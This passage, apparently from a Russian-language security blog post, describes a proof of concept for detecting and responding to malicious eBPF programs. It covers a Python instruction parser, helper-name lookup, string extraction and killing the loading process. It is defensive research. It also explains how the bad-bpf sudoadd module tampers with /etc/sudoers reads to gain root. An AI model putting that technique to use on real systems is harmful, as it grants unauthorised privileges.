Итак, код eBPF-программы запускается в виртуальной машине и имеет свой набор инструкций и регистров (Instruction Set). Инструкции задаются комбинациями констант в code, их прототипы перечислены в заголовочных файлах filter.h и bpf_common.h:
Дело за малым: распарсить полученные структуры bpf_insn в более человекочитаемые инструкции.
Первым делом нужно разбить значение reg на регистры: dst_reg и src_reg. Такая реализация связана с тем, что Python не очень хорошо дружит с типом u8:4. Делаем это следующим образом:
Вооружившись прототипами из исходников ядра, парсим инструкции примерно следующим образом:
if bpf_class_name == "BPF_LD":
if (code & 0x18) == BPF_SIZE["BPF_DW"]:
if (code & 0xe0) == BPF_MODE["BPF_IMM"]:
if src_reg == 1: # BPF_PSEUDO_MAP_FD
insn_proto = "BPF_LD_MAP_FD({0}, {1}, {2})"
insn_type = "BPF_LD_MAP_FD"
dst_reg_name = parse_reg(dst_reg)
src_reg_name = "BPF_PSEUDO_MAP_FD"
insn_params = {'type': insn_type, 'dst_reg': dst_reg_name, 'src_reg': src_reg_name, 'imm': imm}
insn_parsed = insn_proto.format(dst_reg_name, src_reg_name, str(imm))
elif src_reg == 0: # BPF_LD_IMM64
insn_proto = "BPF_LD_IMM64({0}, {1})"
insn_type = "BPF_LD_IMM64"
dst_reg_name = parse_reg(dst_reg)
insn_params = {'type': insn_type, 'dst_reg': dst_reg_name, 'imm': imm}
insn_parsed = insn_proto.format(dst_reg_name, str(imm))
else:
insn_proto = "BPF_LD_IMM64_RAW({0}, {1}, {2})"
insn_type = "BPF_LD_IMM64_RAW"
dst_reg_name = parse_reg(dst_reg)
src_reg_name = parse_reg(src_reg)
insn_params = {'type': insn_type, 'dst_reg': dst_reg_name, 'src_reg': src_reg_name, 'imm': imm}
insn_parsed = insn_proto.format(dst_reg_name, src_reg_name, str(imm))
По итогу работы парсера получаем листинг в значительно более дружелюбном виде:
bpf-helpers
Как и в реализации в kernel-mode, можно обогатить листинг именами вызываемых bpf-helpers. Для этого при запуске решения можно получить номера функций конкретно для системы, на которой производится работа:
def get_func_numbers():
bpfh_file_path = '/usr/include/linux/bpf.h'
bpfh_file = open(bpfh_file_path, 'r')
bpfh_text = bpfh_file.read()
bpfh_file.close()
regexp_fn = 'FN\((.*)\),\t*\\\\'
fn_matches = re.findall(regexp_fn, bpfh_text)
return fn_matches
Далее по уже описанному ранее алгоритму обогащаем инструкции BPF_EMIT_CALL() именами вызываемых хэлперов:
Строки
Строки - следующий признак, который мы можем использовать при построении детекта вредоносных eBPF-модулей. Хоть строки в явном виде и не часто встречаются в листинге eBPF-программ (чаще они передаются в мапах), они могут стать хорошим индикатором. Хороший пример: строки, с которыми происходит сравнение в цикле:
На скриншоте пример кода из модуля sudoadd (bad-bpf). Программа перехватывает операции открытия файлов, при этом сравнивая имя исполняемого файла с “sudo”, а открываемый файл - с “/etc/sudoers”. С помощью данного модуля можно вмешаться в процесс проверки принадлежности пользователя к sudoers и повысить привилегии, подменив содержимое “/etc/sudoers” на этапе чтения файла.
В процессе анализа того, как формируются строки в eBPF-программах, мы обнаружили три паттерна:
- Строка, составленная из нескольких разных частей;
- Строка, составленная из одной части, повторенной несколько раз;
- Строка, с которой происходит сравнение в цикле.
Общий принцип для первых двух паттернов:
- Строка (в imm) помещается в регистр REG_ARG1 с помощью инструкций BPF_LD_IMM64/BPF_MOV64_IMM. Строка в imm лежит в hex;
- Из REG_ARG1 строка перемещается в REG_FP по определенному смещению с помощью инструкции BPF_STX_MEM.
Таким образом в стеке (frame) формируется строка, которая может быть использована в дальнейшем.
Принцип формирования строки в цикле:
- Строка, которая сравнивается, посимвольно перемещается из REG_FP с помощью инструкции BPF_LDX_MEM в REG_ARG_1;
- Символ сравнивается со строкой, с которой происходит сравнение (BPF_JMP_IMM).
В нашей реализации вывод парсера строк выглядит так:
Итого на выходе из парсера в user-mode мы имеем следующую информацию:
- Метаданные программы и процесса, ее загрузившего;
- Полный листинг программы (в виде инструкций и структур);
- Массив используемых bpf-helpers;
- Массив используемых строк.
Всю эту информацию можно смело собирать в лог и слать в любое стороннее решение для последующей обработки (например, в SIEM).
Sudoadd
В качестве примера рассмотрим уже описанный выше sudoadd из bad-bpf. Информация об одной из загруженных eBPF-программ (handle_openat_enter) выглядит следующим образом:
Подчеркнуты строки, а также некоторые вызовы. Пример Sigma-правила, которое можно использовать для обнаружения sudoadd:
Response. User-mode
При обнаружении потенциально вредоносного eBPF-модуля в user-mode существует возможность реагирования (Response). Самый общий и работоспособный вариант - завершение процесса, загрузившего eBPF-программу.
def handle_event(cpu, data, size):
event = ctypes.cast(data, ctypes.POINTER(ProgInfo)).contents
progname = event.progname.decode('utf-8')
print(f"Program Name: {progname}, PID: {event.pid}, FD: {event.fd}")
if progname == 'hello':
print(f"Detaching program {progname} with FD {event.fd}")
os.kill(event.pid, signal.SIGUSR1)
В eBPF также существует функциональность “отвязавания” программы от точки ее прикрепления: prog_detach. У системного вызова bpf() первый аргумент может быть равен BPF_PROG_DETACH, однако это работает только для очень ограниченного числа типов программ, что можно увидеть в исходниках:
Видно, что BPF_PROG_DETACH работает в основном для типов программ, связанных с сокетами. Для остальных типов вызов bpf() с этой командой не сделает ничего.
Проблемы, с которыми мы столкнулись
При работе над Proof-of-Concept решения для обнаружения и предотвращения загрузки eBPF-программ мы столкнулись с рядом проблем, которые часто возникают у специалистов при работе над “объемным” решением, функционирующим в eBPF:
- Некоторые из первоначальных идей оказались нереализуемыми в eBPF из-за различных ограничений. Некоторые из ограничений мы смогли обойти легитимными средствами eBPF;
- Какая-либо документация, связанная с eBPF и структурами ядра в целом, практически отсутствует. Впрочем, трудно назвать это проблемой, потому что вполне достаточно иметь под рукой исходники ядра Linux, которые есть в открытом доступе;
- BCC имеет ряд ограничений и проблем с импортом заголовочных файлов в eBPF-программе. Хоть BCC и является (на наш взгляд) самым простым способом начать работать с eBPF, библиотека не годится для каких-либо более серьезных “продовых” решений.
Выводы
Во время работы над вышеописанным, мы пришли к следующим выводам:
- Несмотря на то, что серьезные инциденты с применением eBPF-программ нам пока не встречались, в ближайшем будущем злоумышленники скорее всего возьмут этот инструмент на вооружение;
- В runtime можно собрать большое количество полезной информации о eBPF-программе, а также сформировать признаки, по которым можно строить логику детекта;
- Detection и Prevention в пространстве ядра для eBPF-программ возможны;
- Response также возможен, но с некоторыми нюансами и оговорками;
- Работа с eBPF-программами в runtime является обыкновенным парсингом различных структур.